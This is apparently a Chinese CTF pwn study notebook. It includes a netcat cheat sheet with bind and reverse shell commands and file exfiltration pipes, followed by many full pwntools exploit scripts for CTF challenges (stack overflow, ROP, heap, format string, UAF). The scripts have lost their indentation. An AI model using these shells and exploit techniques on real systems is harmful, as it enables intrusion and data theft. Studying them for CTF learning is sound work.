漏洞类型
格式化字符串漏洞
ROP
发生栈溢出的基本前提是:
1.程序必须向栈上写入数据
2.写入的数据大小没有被良好地控制。
char a[10]
get(a)
strcpy
strcpy( dest, src) 把 src 所指向的字符串复制到 dest。
需要注意的是如果目标数组 dest 不够大,而源字符串的长度又太长,可能会造成缓冲溢出的情况。
read
ssize_t read(int fd, void *buf, size_t count);
ssize_t为有符号整型,size_t为无符号整型。fd为相应的文件描述符;buf为用户给定的数据缓冲区,该缓冲不是固定大小的,由count值决定其大小(用户给定,字节数)。如 read( fd , “hello” , 5 ); 此时的void *buf为char *类型。即count为请求读取的字节数(即buf的大小)。该函数的返回值为-1时,表示读取数据失败;返回值>0时,表示读出的字节数;返回值等于0时,表示已经读完了,因此没有数据可读了。
当count>buf时产生溢出。
shellcode


syscall



持续更新
buuctf
第一道pwn
test_your_nc

思路:根据提示,直接NC即可
NC:的使用
nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。
那么netcat怎么用呢???
-n 以数字形式表示的IP地址
-v 显示详细信息 [使用=vv获取更详细的信息
-p port 本地端口
-q secs 在标准输入且延迟后退出(翻译的不是很好,后面实例介绍)
NC远程控制
这个比较有意思,我放在第一。
正向连接
A:nc -lp port -c bash
B:nc ip port
A将自己的Bash发给B
反向连接
A:nc -lp port
B:nc ip port -c bash
B将自己的Bash发给A
win下Bash换成cmd



使用NC进行信息收集
简单的建立连接,就是侦听模式和传输模式
nc -l -p port监听指定端口号
nc -nv ip port连接对方tcp端口,默认情况下,双方可以发送文本信息
收集目标机上的进程信息
nc -l -p 4444 >wing.txt将远程发送过来的内容保存在本地
Ps aux |nc -nv ip port -q 1 标准输入完成后delay一秒钟,会发送到侦听端


NC传输文件/目录
nc -lp 4444 >1.txt 1.txt就是你要保存的文件名 自定义
nc -nv ip port <1.txt -q 1 将文件发送给侦听端
ps:侦听端的文件名最好按照文件本身来命名
tar -cvf - 目录名/|nc -lp port -q 1
将目录打包
nc -nv ip port |tar -xvf -
将目录解包
NC文件加密传输
apt-get install mcrypt
A: nc -lp port|mcrypt - -flush -Fbqd -a rijndael-256 -m ecb >文件名
B:mcrypt –flush -Fbq -a rijndael-256 -m ecb <文件名|nc -nv ip port -q 1
理解:B将文件加密发送,A接受后先解密再保存到本地,B在1s后退出.
主要是利用mcrypt进行加密
NC流媒体服务
A:cat wing.mp4|nc -lp port
B:nc -nv ip port |mplayer -vo x11 -cache 4000
A让wing.MP4这个文件成为流的形式发送到B,B用mplayer播放,接收多少播放多少,指定缓存4000bytes。
NC端口扫描
nc -nvz ip 1-65535

默认使用tcp进行扫描
NC复制磁盘
A:nc -lp port |dd of=/dev/sda
B: dd if=/dev/sda | nc -nc ip port -q 1
If是input filter
Of 是output filter
B将数据复制到A挂载的硬盘上
rip
先扔进ida看看

像数组一样存进去,可以利用栈溢出修改返回地址
看来fun函数里就有我们想要的

在去栈里看看

运行就这个脚本,就ok了(网上搜的,下次自己写^?^)
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#p = process('./pwn1')
p = remote('node3.buuoj.cn', 27560)
#p.recvuntil("please input")
buf_1 = 'a' * 15 + p64(0x401186)
#gdb.attach(p)
p.sendline(buf_1)
p.interactive()
##ciscn_2019_s_3
查看gadget函数可以发现发现有
mov rax , 59
retn
而 execve 的系统调用号 为 59 , 所以打算使用 syscall 进行系统调用
ez_pz_hackover_2016
这道题主要是复现调试过程

首先进入vuln找到溢出nop下断点
gdb.attach(p,'b *0x8048600')利用gdb动调,在0x8048600处下了个断点

首先’ashme’为输入的内容,但会发现少了’cr’,因为0x72的ascII码是’r’,0x63是’c’。(小端序)
所以其实是从0xffc0ba12处开始输入字符,而ebp为0xffc0ba28,所以输入溢出应为0x16(0xffc0ba28 - 0xffc0ba12)
返回地址则应填充泄露的栈的地址,之前泄露的栈地址为0xffc0ba10,那么偏移为1c(ebp+4-a10),所以返回地址覆盖为0xffc0ba2c (0xffc0ba10+1c)
##EasyHeap
入门的heap题,还是比较基础的。
进入magic函数,发现有直接调用system(“cat /home/pwn/flag”)的语句,还有这种好事?!
不过需要让magic > 0x1305 , 于是可以利用unsortbin_attack , unsortbin_attack可以修改任意地址值为一个较大的数,因为unsortbin的最后的chunk的bk指针会指向main_area ,所以我们可以利用其修改magic为一个较大值。
create(0x10 , "aaaa") #idx 0
create(0x80 , "aaaa") #idx 1
create(0x80 , "aaaa") #idx 2
create(0x10,b"/bin/sh\x00")#id3
dele(1)
edit (0,0xff,b'A'*0x18 + p64(0x91) + p64(0) + p64(magic))
create(0x80,"bbbb")
利用溢出漏洞,将idx0 溢出修改idx1的bk修改为magic_addr-0x10的地址,然后再malloc一个unsort_bin就成功修改啦
#! /usr/bin/python3
from pwn import*
elf = ELF('./easyheap')
io = process('./easyheap')
#io = remote('node3.buuoj.cn',27082)
libc = elf.libc
context.log_level = 'debug'
#gdb.attach(io)
system = elf.sym['system']
cat_flag = 0x0400F49
magic=0x0006020C0-0x10
def create(size, content):
io.sendlineafter('choice :', str(1))
io.sendlineafter('Heap :', str(size))
io.sendafter('heap:', content)
def edit(idx,size,content):
io.sendlineafter('choice :', str(2))
io.sendlineafter('Index :', str(idx))
io.sendlineafter('Size of Heap : ', str(size))
io.sendafter('Content of heap : ', content)
def dele (idx):
io.sendlineafter('choice :',str(3))
io.sendlineafter('Index :',str(idx))
create(0x10 , "aaaa") #idx 0
create(0x80 , "aaaa") #idx 1
create(0x80 , "aaaa") #idx 2
create(0x10,b"/bin/sh\x00")#id3
dele(1)
edit (0,0xff,b'A'*0x18 + p64(0x91) + p64(0) + p64(magic))
create(0x80,"bbbb")
io.sendlineafter('choice :', str(4869))
gdb.attach(io)
#gdb.attach(io)
io.interactive()
本以为我的计划 就如高跟鞋踩进井盖缝一样严丝合缝时 ,对面竟然没有/home/pwn/flag的路径
所以我们只能plan2 了
由于已知heaparray的地址,所以可以采用覆盖free_got 为system_got 的方法
create(0x10 , b"aaaa") #idx 0
create(0x10 , b"aaaa") #idx 1
create(0x60 , b"aaaa") #idx 2
create(0x10,b"/bin/sh\x00")#id3
print("ok")
dele(2)
edit(1,0x30,b'a'*0x10 + p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0))
#edit(1,0x30,b'a'*0x10 + p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0))
create(0x60,b'bbbb') #idx1
#gdb.attach(io)
payload=0x23*b'E'+ p64(free_got)
create(0x60,payload)#idx4
payload = p64(elf.plt['system'])
print("system",hex(elf.plt['system']))
edit(0,len(payload),payload)
依然是溢出idx1,来修改idx2的fd指针,经fd指针指向heaparray的地址附近,利用字节错位将fack_chunk的size位与bin相匹配(应在70~7f之间)
最后将system_plt 写入free_got 的地址就可以了
最最后调用一下free,就可以getshell
#! /usr/bin/python3
from pwn import*
elf = ELF('./easyheap')
#io = process('./easyheap')
io =remote("node3.buuoj.cn",27082)
libc = elf.libc
#context.log_level = 'debug'
#gdb.attach(io)
system = elf.sym['system']
cat_flag = 0x0400F49
magic=0x0006020C0-0x10
def create(size, content):
io.sendlineafter('choice :', str(1))
io.sendlineafter('Heap :', str(size))
io.sendafter('heap:', content)
def edit(idx,size,content):
io.sendlineafter('choice :', str(2))
io.sendlineafter('Index :', str(idx))
io.sendlineafter('Size of Heap : ', str(size))
io.sendafter('Content of heap : ', content)
def dele (idx):
io.sendlineafter('choice :',str(3))
io.sendlineafter('Index :',str(idx))
heaparray=0x006020E0
fake_fastbin=0x6020ad
system_addr=0x400C2C
free_got=elf.got["free"]
print("free_got---->",hex(free_got))
create(0x10 , b"aaaa") #idx 0
create(0x10 , b"aaaa") #idx 1
create(0x60 , b"aaaa") #idx 2
create(0x10,b"/bin/sh\x00")#id3
print("ok")
dele(2)
edit(1,0x30,b'a'*0x10 + p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0))
#edit(1,0x30,b'a'*0x10 + p64(0) + p64(0x71) + p64(fake_fastbin) + p64(0))
create(0x60,b'bbbb') #idx1
#gdb.attach(io)
payload=0x23*b'E'+ p64(free_got)
create(0x60,payload)#idx4
payload = p64(elf.plt['system'])
print("system",hex(elf.plt['system']))
edit(0,len(payload),payload)
#gdb.attach(io)
io.recvuntil("Your choice :")
io.sendline(str(3))
io.recvuntil("Index :")
io.sendline(str(3))
io.interactive()
##bjdctf_2020_babyrop2
上来就有个格式化字符串漏洞,可以用来泄露canary
io.sendline('%7$p')
io.recvuntil('0x')
canary = int(io.recv(16),16)
print(hex(canary))
然后泄露libc版本,根据libc来进行溢出并getshell
payload = b"a" * 0x18 + p64(canary) + b"a" * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.sendlineafter("story!", payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
exp如下—————————————
#! /usr/bin/python3
from pwn import*
from LibcSearcher import*
elf = ELF('./bjdctf_2020_babyrop2')
libc = elf.libc
#io = process('./bjdctf_2020_babyrop2')
io = remote('node3.buuoj.cn',27690)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x0400993
vuln = 0x0400887
io.recv()
io.sendline('%7$p')
io.recvuntil('0x')
canary = int(io.recv(16),16)
print(hex(canary))
payload = b"a" * 0x18 + p64(canary) + b"a" * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.sendlineafter("story!", payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print("puts_addr---->",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
print("libc_base",libc_base)
print("system_addr",system_addr)
print("binsh",binsh)
#io.sendline(b'a'*0x28)
payload = b"a" * 0x18 + p64(canary) + b"a" * 8 + p64(pop_rdi) + p64(binsh) + p64(system_addr) + p64(vuln)
io.sendline(payload)
io.interactive()
##babyfengshui_33c3_2016
这道题的漏洞出现在对于 输入字符的限制由地址之差来计算 的,因此我们可以通过free小chunk,并malloc大chunk从而分离两个地址的目的。从而构造成下面这样来绕过检测。
堆块 0 des 0x100
堆块1 des 0x80
堆块1 node 0x80
堆块2 des 0x8
堆块2 node 0x80
堆块0 node 0x80
然后通过溢出来写入free_got地址,并将其修改为system,即可
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./babyfengshui')
p = remote('node3.buuoj.cn', 28668)
elf = ELF('babyfengshui')
def Add(size, length, text):
p.sendlineafter("Action: ", '0')
p.sendlineafter("description: ", str(size))
p.sendlineafter("name: ", 'qin')
p.sendlineafter("length: ", str(length))
p.sendlineafter("text: ", text)
def Del(index):
p.sendlineafter("Action: ", '1')
p.sendlineafter("index: ", str(index))
def Dis(index):
p.sendlineafter("Action: ", '2')
p.sendlineafter("index: ", str(index))
def Upd(index, length, text):
p.sendlineafter("Action: ", '3')
p.sendlineafter("index: ", str(index))
p.sendlineafter("length: ", str(length))
p.sendlineafter("text: ", text)
Add(0x80, 0x80, 'qin')
Add(0x80, 0x80, 'qin')
Add(0x8, 0x8, '/bin/sh\x00')
Del(0)
#注意堆块块首的长度
Add(0x100, 0x19c, "a"*0x198+p32(elf.got['free']))
Dis(1)
p.recvuntil("description: ")
free_addr = u32(p.recv(4))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')
#堆块1的description指针已经被修改为free的地址,则可以将free地址内的内容替换为system
Upd(1, 0x4, p32(sys_addr))
Del(2)
p.interactive()
##cmcc_simplerop
首先就是可以看见有int 0x80,我们可以系统调用,关于系统调用的指令,我们可以参考这个。
就是要构造成
int80(0xb,”/bin/sh”,null,null)
后面的四个参数分别是eax、ebx、ecx、edx。
但是没有bin/sh\x00,所以应该向bss段写入
payload = ‘a’*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
1 from pwn import *
2
3 p = process('./simplerop')
4 context.log_level = 'debug'
5
6 p.recv()
7 int_addr = 0x080493e1
8 pop_eax = 0x080bae06
9 read_addr= 0x0806CD50
10 binsh_addr = 0x080EB584
11 pop_edx_ecx_ebx = 0x0806e850
12
13 payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
14 payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
15
16 p.sendline(payload)
17 p.send('/bin/sh\x00')
18 p.interactive()
19 p.close()
攻防世界
get_shell
先用checksec看一下

有NX防护(堆栈不可执行)
栈溢出核心思想是通过局部变量覆盖函数返回地址来修改EIP和注入
Shellcode,在函数返回时跳到Shellcode去执行。要防止这种攻
击,最有效的办法就是让攻击者注入的Shellcode无法执行,这就是
数据执行保护(Data Execution Prevention, DEP)安全机制的
初衷。NX策略是使栈区域的代码无法执行。
然后用nc连一下,ls查看目录,cat查看flag,就可以了

when did you born
扔进ida里,f5

就是说当v5=1926时,给你flag。但是直接输入1926会直接进不了函数
点击v5,看看 stack of main 界面

我们可以利用v4来覆盖v5
脚本如下

hello pwn
还是扔进ida


我们用 601068 来覆盖 60106c 就可以实现伪代码中的if语句。
写一下exp(这次是自己写的了^_^)

level 0
还是直接ida

就到处看看,发现最后返回的函数

它读取了200个字节
再找找找到了callsystem这个函数

总是是发现关键了
buf这个字符数组的长度只有0x80,而我们可以输入0x200个字节
现在我们希望可以让主函数能返回到callsystem

起始地址和返回地址相差0x88个字节,我们全部填充。然后返回
callsystem的地址


最后写exp如下

level 2
(好像对rop链有一点点感觉了)
扔进ida看看主函数,调用了_function函数,点进去,申请88h字节空间
但读取了100h。存在漏洞。


到处找找,看到了system和/bin/sh 这就可以了。


最后写一下exp
在这里我们需要向题目中输入若干内容,又观察到buf的长度为
0x88,那么我们便可以构造出0x88长度的无关数据,然后再输入4个长度
的垃圾数据以覆盖ebp,然后就是call system的地址以及/bin/sh的地址

CGfsb
可以看出要让pwnme=8,可以得到flag
printf(&s)这样的输入方式是不安全的
假设,此时我们在编写程序时候,写成了下面的样子
printf("Color %s, Number %d, Float %4.2f");
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?
程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量
分别解析为
解析其地址对应的字符串
解析其内容对应的整形值
解析其内容对应的浮点值
对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。
这基本就是格式化字符串漏洞的基本原理了。
exp如下
from pwn import *
p = remote('111.198.29.45',41816)
p.recvuntil('please tell me your name:')
p.sendline('qin')
p.recvuntil('leave your message please:')
p.sendline(p32(0x0804A068) + '%4c%10$n')//将pwnme中的内容改为8
//p32(0x0804A068)会输出四个字符,%4c也会输出四个字符
//%10$n 将%n之前打印的字符数量放入指定地址内部
//之前打印了8个字符,指定地址为偏移量为10的栈空间所指向的地址空间
//所以pwnme所在的空间内容就被更改为之前所输出的字符数量8
p.interactive()
%10&n 为距开始输入字符的位置偏移量为10
参考资料:
https://blog.csdn.net/zz_Caleb/article/details/88980866
https://blog.csdn.net/qinying001/article/details/98527949
giao手进阶区
forgot
在这里我们就是找到溢出了。

88行,调用了一个指针,看来可以用v2 来覆盖 v3 .但是v14 却是变量
这又怎么办呢??

我那时是一个百度啊,就发现 别人发现 可以用大写字符覆盖v2.
四舍五入就是我发现的咯。
至于flag 的地址就在这里了
最后写exp

最最后还有个疑问,v14不就还是等于1 。那(*(&v3 + –v14))
这样不就多了个 1 .不会有问题吗? (现在没有了)
Mary_Morton
老规矩 进ida
我的散装英语越来越地道了^_^
这里就是有溢出漏洞了

现在我陷入了瓶颈。

不过身为 面向百度的编程大师 总有他的办法。
经过一段短暂的时间,他明白了过来。

格式化字符串漏洞原理详解https://blog.csdn.net/qq_43394612/article/details/84900668
缺少canary的值,可以用格式化字符串漏洞来泄漏,buf和v2的位置在两个函数里都一样
首先看下我们输入时候的偏移

canary的偏移地址,找到了。这个图就很直观,针不戳。

直接将flag的地址覆盖到返回地址
最后就是写(chaoxi)flag的时间了


格式化字符串漏洞原理详解https://blog.csdn.net/qq_43394612/article/details/84900668
warmup
竟然没有附件,还以为是一道web题。
这种感觉就像是,家里的猫在汪汪汪地叫一样,又有点熟悉,有很陌生的奇怪啊。
那就看看网页里有什么吧。

一个16进制数。
没看懂。。。。。。
cv工程师开始百度。(ctrl+c && ctrl+v)
from pwn import *
addr = 0x40060d
def fuzz(r, num, flag):
payload = 'a' * num
if flag==1:
payload += p32(addr)
if flag==2:
payload += p64(addr)
r.recvuntil(">")
r.sendline(payload)
def main():
for i in range(1000):
print(i)
for j in range(3):
try:
r = remote("111.198.29.45", 46588)
fuzz(r, i, j)
text = r.recv()
print('text.len='+str(len(text))+'text='+text)
print('num='+str(i)+' flag='+str(j))
r.interactive()
except:
r.close()
if __name__ == '__main__':
main()
看了半天,是用两个嵌套循环,依次试出数据打包方式(p32 or p64)和
cylib构造的长度.而开始给的16进制数就是flag所在地址了。原来如此,
这样不就懂了嘛。(中间的停顿用ctrl + c 断开连接)

最后再详细了解一下FUZZ(就是用大量的输入去试?)
https://blog.csdn.net/wcventure/article/details/82085251
welpwn
用物理公式换算一下,就会发现我做题 的速度和猪起床的速度差不多。
不过为这事怪猪,也让人家太情何以堪了。
这个写得不错。
https://blog.csdn.net/seaaseesa/article/details/102944448
输入buf,这里不存在溢出,然后进入echo方法,将buf复
制到s2,当遇到\x00就结束。这个条件会导致p64(addr)后面的内容被截
断(地址经p64包装后肯定会出现\0x00)。
也就是说,s2只能复制buf前面32个单元的内容。为了使32位后面的内容
得以执行,我们需要在ret位置跳去执行四个pop指令,去掉buf前32位内
容(也就是复制到s2里面的这些内容),这样就能连贯执行32位之后的内
容了。
所以,目前payload = ‘A’ * 24 + p64(addr_pop4)
之后的东西,就是完全不懂了,还是看看别人的exp吧.什么泄露write地址 ,获取libc加载地址,看起来我是完全不懂嘛~【doge】
#coding:utf8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sh = process('./pwnh13')
#sh = remote('111.198.29.45',51867)
elf = ELF('./pwnh13')
write_got = elf.got['write']
puts_plt = elf.plt['puts']
#此处有4条pop指令,用于跳过24字节
pop_24 = 0x40089C
#pop rdi的地址,用来传参,具体看x64的传参方式
pop_rdi = 0x4008A3
sh.recvuntil('Welcome to RCTF\n')
main_addr = 0x4007CD
#本题的溢出点在echo函数里,然而,当遇到0,就停止了数据的复制,因此我们需要pop_24来跳过24个字节
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)
sh.send(payload)
sh.recvuntil('\x40')
#泄露write地址
write_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('write',write_addr)
#获取libc加载地址
libc_base = write_addr - libc.dump('write')
#获取system地址
system_addr = libc_base + libc.dump('system')
#获取/bin/sh地址
binsh_addr = libc_base + libc.dump('str_bin_sh')
sh.recvuntil('\n')
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()
这个exp怎么这么长啊?和程序员的头发一点也不搭。
dice_game
这是道猜数游戏(这年头还有人猜数,真够无聊的)
看一眼栈,wow~ ⊙o⊙,可以用buf覆盖。

只要猜中50次,就调用sub_B28函数,得到flag了

于是我们将seed覆盖掉,并且去预测生成的随机数。
exp如下

stack2
这道题主要对gdb的调试,来找出偏移量。
首先,当 v13[v5] = v7 语句开始执行时,由汇编可以发现输入数字先存入栈中,经由eax,ecx最终存入eax所在地址,因此eax存储了数组在栈上的首地址,而ecx存储了输入的值(cl是ecx的低字段)现在我们找到了数组首地址。
至于返回地址则是return时esp的值,由调试可知。
然后首尾地址相减可得偏移。




最后利用3. change number 来修改返回地址处的值,从而劫持程序流
#! /usr/bin/python3
from pwn import *
system_addr=0x080485AF
leave_offset=0x84
def write_addr(addr,va):
io.sendline("3")
io.recvuntil("which number to change:\n")
io.sendline(str(addr))
io.recvuntil("new number:\n")
io.sendline(str(va))
io.recvuntil("5. exit\n")
io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")
# write system_addr 0x08048450
write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr 0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
io.sendline("5")
io.interactive()
monkey
放进ida里一看,咱啥也不懂,啥也不敢问。危难之际,度年救驾。
原来是一个动态链接库???那就查看一下
#!/usr/bin/env python
#!/usr/bin/env python
#coding:utf8
from pwn import *
context.log_level = 'debug'
process_name = './js'
# p = process([process_name], env={'LD_LIBRARY_PATH':'./'})
p = remote('111.200.241.244',46128)
# elf = ELF(process_name)
p.sendlineafter('js> ', 'os.system(\'cat flag\')')
p.interactive()

time_formatter

通过构造command,我们可以执行系统命令。所以对于ptr,我们希望他是这样的:’;/bin/sh;’ 这样我们就能通过system方法执行/bin/sh。于是,接下来的工作就是如何让ptr等于我们需要的值。

需要注意。ptr,也就是time format,他的输入时有字符检查的:

可以看到,我们的“;”不在允许范围内,所以通过输入直接构建ptr是不可能的。
这道题目的突破点其实就在退出函数这里:

可以看到,退出函数堆ptr和value做了free,但是没有将他们指为null。所以,他们指向之前的堆块,虽然堆块已经被标记为空闲。看到这里,估计有人就能想到UAF了。UAF:use after free。利用堆被free后重新申请堆,会返回之前的堆地址的特性。可以做到突破一些限制。如本题。
思路:首先设置format,随便输入一个值。然后选择5,进入退出函数,这时ptr指向的堆会被free,但是,ptr依然指向这个堆。接着选择no,不退出,选择3,设置timezone。重点来了,设置timezone的时候,会申请堆,得到的堆地址是之前ptr free掉的,这时候,timezone和ptr都指向这块堆。因为timezone没有输入限制,我们可以把’;/bin/sh;’输入这块堆区,所以ptr所指向的堆的值就变成了了我们希望的了
利用use after free
选择1设置 格式化字符串 (malloc(n))
选择3设置时区 (malloc(n)),传入参数/bin/sh,利用’’\将参数括起来,‘;’用来传参
选择5 退出 (选择否 , 目的是 free上面的两个块)
选择3设置时区(消耗时区 free的块)
选择4设置时区 (使用格式化字符串free的块)
#!/usr/bin/env python
from pwn import *
io = remote("111.200.241.244","58352")
context.log_level = 'debug'
io.sendlineafter("> ","1")
io.sendlineafter("Format: ","A")
io.sendlineafter("> ","5")
io.sendlineafter("Are you sure you want to exit (y/N)? ",'N')
io.sendlineafter("> ","3")
io.sendlineafter("Time zone: ","';/bin/sh;'")
io.sendlineafter("> ","4")
io.interactive()
note-service2
exp:
#coding:utf8
from pwn import *
sh = process('./pwnh21')
#sh = remote('111.198.29.45',30061)
context(os='linux',arch='amd64')
def create(index,size,content):
sh.sendlineafter('your choice>>','1')
sh.sendlineafter('index:',str(index))
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',content)
def delete(index):
sh.sendlineafter('your choice>>','4')
sh.sendlineafter('index:',str(index))
#rax = 0 jmp short next_chunk
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')
#rax = 0x3B jmp short next_chunk
code1= (asm('mov eax,0x3B') + '\xeb\x19')
#rsi = 0 jmp short next_chunk
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')
#rdi = 0 jmp short next_chunk
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')
#系统调用
code4 = (asm('syscall').ljust(7,'\x90'))
'''''print len(code0)
print len(code1)
print len(code2)
print len(code3)
print len(code4)
'''
create(0,8,'a'*7)
create(1,8,code1)
create(2,8,code2)
create(3,8,code3)
create(4,8,code4)
#删除第一个堆块
delete(0)
#把第一个堆块申请回来,存入指令,并且把堆指针赋值给数组的-8下标处(atoi的GOT表处),即修改了atoi的GOT表
create(-8,8,code0)
#getshell
sh.sendlineafter('your choice>>','/bin/sh')
sh.interactive()
pwn-100
各个都是 超能力 啊?
全部都 超 出了我的 能力
#! /usr/bin/python
#coding=utf-8
from pwn import *
io = remote('111.200.241.244',43647)
elf = ELF("./pwn100")
rop1 = 0x40075A
rop2 = 0x400740
pop_rdi_ret = 0x400763
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000
def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)
payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
io.send("/bin/sh\x00")
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.interactive()
反应釜开关控制
小M在里一个私人矿厂中发现了一条TNT生产线中硝化反应釜的接口,反
应釜是一种反应设备,非常的不稳定,会因为很多原因造成损坏,导致
生产被迫停止。她怀疑这个工厂可能进行地下军火的制作,所以小M打
算通过把反应釜关闭掉来干扰这条TNT生产线的运行,但是反应釜有多
个闸门,得想办法帮她把闸门都关掉才行。
(挖藕,看起来有点恐怖份子那味了)
checksec 没有 canary保护

这是个惊喜。!

那么就通过V5来溢出了


这exp倒简单。


看到有大佬这么。盲打?(啥意思?)

实时数据监测
小A在对某家医药工厂进行扫描的时候,发现了一个大型实时数据库系
统。小A意识到实时数据库系统会采集并存储与工业流程相关的上千节
点的数据,只要登录进去,就能拿到有价值的数据。小A在尝试登陆实
时数据库系统的过程中,一直找不到修改登录系统key的方法,虽然她
现在收集到了能够登陆进系统的key的值,但是只能想别的办法来登陆

没有任何防护,值得表扬。
还进ida

这个imagemagic 点进去就是个printf函数,所以存在格式化字符串
漏洞。

还给出了key的地址,就很贴心。
我们来看看偏移–数一下是12
现在就可以覆盖key的值。
exp如下

##greeting-150
首先查看ida,可以发现是格式化字符串漏洞,可以实现任意地址的读写

但是,函数没有循环,那么我们就需要进行构造。
函数结束后都会调用.fini_array函数。所以我们可以修改该函数位start函数,从而使函数循环。
然后再修改strlen_got的地址为system_plt的地址(因为在getnline函数中调用了strlen函数并且都传入一个参数)

由调试可知输入“aa”进行对齐后strlen_got在第12个参数,而覆盖它的数值计算如下:
‘Nice to meet you, ‘18字节
四个地址=4*4 = 16字节
“aa” 两个字节
0x804 - 18 - 16 -2 =2016
所以参数为%2016c%12$hn。
剩下的以此类推。
最后调用strlen函数时传入/bin/sh即可 getshell
exp如下
#! /usr/bin/python3
from pwn import *
#context.log_level='debug'
#io=remote("111.200.241.244",61999)
io=process("./greeting-150")
elf=ELF("./greeting-150")
strlen_got=elf.got['strlen']
fini_got=0x08049934
start_addr=0x80484f0
system_plt = elf.plt['system']
print("strlen: "+str(hex(strlen_got)))
print("system_plt:"+str(hex(system_plt)))
print("fini_got: "+str(hex(fini_got)))
print("start_addr:"+str(hex(start_addr)))
print(len('Nice to meet you, '))
payload=b"aa"
payload+=p32(strlen_got+2)
payload+=p32(fini_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_got)
payload+=b"%2016c%12$hn%13$hn"
payload+=b"%31884c%14$hn"
payload+=b"%96c%15$hn"
#gdb.attach(io)
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()
--------
##pwn1
这道题就说两点
1
puts遇到\x00停止
标志位最后两位一定是\x00 sendline末尾自动加上\n 覆盖掉\x00 我们可以利用这个漏洞泄露libc_base
2
one_gadget的运用方式
它可以直接把运行shell的地址找出来

#! /usr/bin/python3
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
elf = ELF("./babystack")
p = remote('111.200.241.244','60084')
#p = process("./babystack")
libc = ELF("./libc-2.23.so")
execve = 0x45216
main_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x0400a93
payload = b'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)
p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')
canary = u64(p.recv(7).rjust(8,b'\x00'))
payload1 = b'a'*0x88+p64(canary)+b'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter(">> ","1")
p.send(payload1)
p.sendlineafter(">> ","3")
puts_addr=u64(p.recv(8).ljust(8,b'\x00'))
execve_addr = puts_addr - (libc.symbols['puts'] - execve)
payload2 = b'a'*0x88+p64(canary)+b'a'*8 + p64(execve_addr)
p.sendlineafter(">> ","1")
p.sendline(payload2)
p.sendlineafter(">> ","3")
p.interactive()




